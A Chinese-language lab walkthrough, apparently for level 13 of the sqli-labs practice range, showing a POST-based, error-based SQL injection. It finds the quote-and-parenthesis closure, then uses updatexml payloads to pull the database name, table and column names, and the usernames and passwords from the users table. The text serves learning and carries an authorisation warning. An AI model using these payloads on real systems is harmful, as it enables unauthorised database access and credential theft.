文章目录
- 前言
- 一、回顾第十二关知识点
- 二、靶场第十三关通关思路
- 1、判断注入点
- 2、爆显位
- 3、爆数据库名
- 4、爆数据库表
- 5、爆数据库列
- 6、爆数据库关键信息
- 总结
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、回顾第十二关知识点
通过第十二关的学习,我们了解到post注入的基本流程,其实和get注入相差不大,只是注入的地方不一样罢了。
二、靶场第十三关通关思路
- 1、判断注入点
- 2、爆显位
- 3、爆数据库名
- 4、爆数据库表
- 5、爆数据库列
- 6、爆数据库关键信息
1、判断注入点
老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'
发现报错,报错信息为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘‘1’’) and password=(‘’) LIMIT 0,1’ at line 1
通过报错信息可以猜测应该是单引号加括号闭合,这里我们试一下构造payload
1') or 1=1#
1') or 1=2#
发现1=1页面正常,1=2页面异常,细心发现页面正常异常没有返回回显内容,所以不能用联合查询了。可以试一试报错注入或者是布尔盲注,我个人喜欢用报错注入。(如图所示)
2、爆显位
注入语句为
1') order by 3#
发现3报错,那么显位是2
3、爆数据库名
注入语句为
1') or updatexml(1,concat(0x3a,(select database()),0x3a),1)#
得数据库名
4、爆数据库表
注入语句为
1') and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#
得到关键表名users
5、爆数据库列
注入语句为
1') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
1') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#
得到列名username,password
6、爆数据库关键信息
注入语句为
1') and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
1') and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#
得到关键信息
总结
这一关用的是报错注入,布尔盲注也适用。如果不懂报错注入流程可以看我的文章第五关解析。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!